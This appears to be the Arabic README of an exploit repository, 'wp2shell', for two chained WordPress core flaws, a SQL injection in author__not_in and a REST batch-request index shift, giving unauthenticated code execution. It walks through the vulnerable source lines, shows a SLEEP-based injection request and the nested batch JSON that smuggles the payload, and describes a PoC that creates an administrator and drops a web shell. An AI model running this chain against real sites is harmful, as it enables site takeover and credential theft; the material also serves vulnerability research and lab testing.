
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE غير مصدق في نواة ووردبريس
ارتباك مسار REST API (CVE-2026-63030) متسلسل مع حقن SQL في
WP_Queryauthor__not_in(CVE-2026-60137) → تنفيذ كود عن بُعد بدون مصادقة مسبقة على تثبيت ووردبريس افتراضي.مكتشف من قبل Adam Kues (Assetnote / Searchlight Cyber)، تم الإفصاح عنه في 2026-07-17. الإرشادات: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| السلسلة (RCE بدون مصادقة) | ووردبريس 6.9.0 - 6.9.4 و 7.0.0 - 7.0.1 |
| حقن SQL فقط (يحتاج إلى إضافة/قالب مساعد) | 6.8.0 - 6.8.5 |
| غير متأثر | ≤ 6.8 لـ ارتباك الدفعة؛ 6.9.5 / 7.0.2 / 7.1-beta2 (تم التصحيح) |
| الشروط المسبقة | REST API يمكن الوصول إليه؛ لا يوجد مخبأ كائنات دائم (Redis/Memcached)؛ ≥1 منشور منشور |
| المصادقة المطلوبة | لا يوجد |
| التأثير | بدون مصادقة → إنشاء مدير جديد → تنفيذ كود (حقن SQL أيضًا يسحب تجزئة المدير) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests ودون ميزات معطلة.shell بدون بيانات اعتماد يزيف WP_Post مزيفًا عبر ارتباك UNION لمنشور واحد، ويوصل المخصّص لإنشاء مدير جديد (POST /wp/v2/users)، ويسجل الدخول، ويسقط شيل ويب محمي برمز مميز. سحب تجزئة المدير باستخدام حقن SQL (read --preset users) محفوظ كمسار ثانٍ تم التحقق منه.block_cannot_read) يُستخدم كفحص أولي غير تخريبي.sqli) لا تمتلكه PoCs الأخرى.$wp$2y$ (-m 35500).wp2shell/
├── README.md ← أنت هنا
├── wp2shell.py ← PoC الموحدة (ملف واحد، مكتبة قياسية فقط، بواسطة 0xsha)
└── lab/ ← مختبرات Docker قابلة للتكرار + مصفوفة الموثوقية
├── docker-compose.yml (مختبر 6.9.4 الافتراضي)
├── docker-compose.matrix.yml (مُعامل: أي إصدار × MySQL/MariaDB)
├── docker-compose.sqli.yml (مختبر "حقن SQL فقط" 6.8.3)
├── matrix.sh (تشغيل مصفوفة الموثوقية بأكملها)
└── sqli-only/facilitator.php (إضافة صغيرة: المُساعد للإصدار 6.8.x)
)
ستة PoCs عامة التي تستمد منها هذه الأداة ليست مودعة هنا؛ تم ربطها في [الإسناد](#5-الإسناد).
كل ما يلي تم **التحقق منه في مختبر Docker المحلي** (انظر [§4](#4-مصفوفة-الإصدار-قاعدة-البيانات-ما-اختبرناه-فعليًا))؛ الادعاءات التي *لم* تُدار في المختبر معلّمة على هذا النحو.
---
## 1. تفاصيل الثغرة - تعمق في الكود
السلسلة تربط عيبين مستقلين. أرقام الأسطر من مصدر **ووردبريس 6.9.4 الحقيقي** (مستخرج من `wordpress:6.9.4-apache`).
### العيب أ - حقن SQL في `author__not_in` (CVE-2026-60137)
`wp-includes/class-wp-query.php`، `WP_Query::get_posts()`:
```php
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← الحارس يعمل فقط مع المصفوفات
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← السلسلة تمر مباشرة
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← إدراج خام
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint داخل implode
سلسلة author__not_in تتجاوز حارس is_array() (2404)؛ implode(',', (array)"…") يعيدها كما هي (2408) ويتم تسلسلها خامًا في SQL (2409). author__in الشقيق (2415) يعيد تطبيق array_map('absint', …) داخل implode وهو آمن - هذا array_map المفقود هو العيب. القيمة تصل كـ ... post_author NOT IN (<value>) ...، لذا 0) <sql>-- - يغلق القائمة ويضيف SQL.
الحصول على سلسلة هناك هو الجزء الصعب: نقطة نهاية REST للمنشورات ترسم author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) ولكنها تعلن عنها كـ 'type' => 'array' من الأعداد الصحيحة، لذا تقوم النواة بإكراه/رفض السلسلة:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (تم التحقق على 6.8.3)
لهذا السبب العيب أ وحده هو فقط "مساعد". العيب ب يهرب السلسلة عبر التحقق الصحيح على 6.9+.
wp-includes/rest-api/class-wp-rest-server.php، serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // مسار سيئ يصبح WP_Error في $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← يُدفع إلى $validation …
1753 continue; // ← … ولكن $matches يتم تخطيها
1754 }
1757 $matches[] = $match; // ← $matches تنمو فقط للطلبات الصالحة
1825 foreach ( $requests as $i => $single_request ) { // مفهرسة حسب الموقع في $requests
1841 $match = $matches[ $i ]; // ← $matches أقصر → إزاحة +1
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
طلب فرعي WP_Error يُدفع إلى $validation[] (1752) ولكن ليس إلى $matches[] (الـ continue عند 1753 يتخطى 1757)، لذا $matches تصبح أقصر و $matches[$i] (1841) تحتوي على معالج الطلب التالي. يتم إرسال الطلب i مع معالج الطلب i+1، حاملًا معاملاته الخاصة ونتيجة التحقق الخاصة به (التي تم تمريرها).
أصل الانحدار (تم التحقق 6.8.3 ← 6.9.4 diff): في 6.8.3 الحلقة تدفع $matches[] = $match لـ كل طلب والمسارات السيئة تُسقط في الحلقة الأولى - المصفوفات تبقى متوازية، لا إزاحة. إعادة الهيكلة في 6.9.0 أدخلت الإزاحة. هذا بالضبط لماذا 6.8.x هي "حقن SQL فقط" وتبدأ سلسلة RCE من 6.9.0.
التصحيح يضيف $matches[] لإدخالات الخطأ أيضًا، يشدد إعادة الدخول، ويحلل author__not_in بمساعدة قائمة معرفات. (6.9.5 لم تكن على Docker Hub وقت الاختبار، لذا هذا من الإرشادات، ليس diff في المختبر.)
مخطط الدفعة يسمح فقط بالطلبات الفرعية POST/PUT/PATCH/DELETE، ولكن get_items للمنشورات (مصرف author_exclude) هو للقراءة فقط (GET)، لذا يتم تداخل الارتباك مرتين:
// الدفعة الخارجية → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] مسار سيئ → WP_Error → إزاحة +1
{"method":"POST","path":"/wp/v2/posts", // [1] الناقل: تم التحقق منه كإنشاء منشور →
"body": { /* الدفعة الداخلية */ }}, // جسم `requests` الخاص به لا يُفحص في المخطط أبدًا
{"method":"POST","path":"/batch/v1", // [2] معالج → [1] يتم إرساله كـ serve_batch_request_v1
"body":{"requests":[]}} // (لا يوجد permission_callback → غير مصادق)
]}
// الدفعة الداخلية (GET الآن مسموح به):
// [0] POST /// WP_Error → إزاحة داخلية +1
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> المستخدمون ليس لديهم author_exclude → PAYLOAD يمر دون تغيير
// [2] GET /wp/v2/posts معالج [2] = posts get_items → يشغل [1] → حقن SQL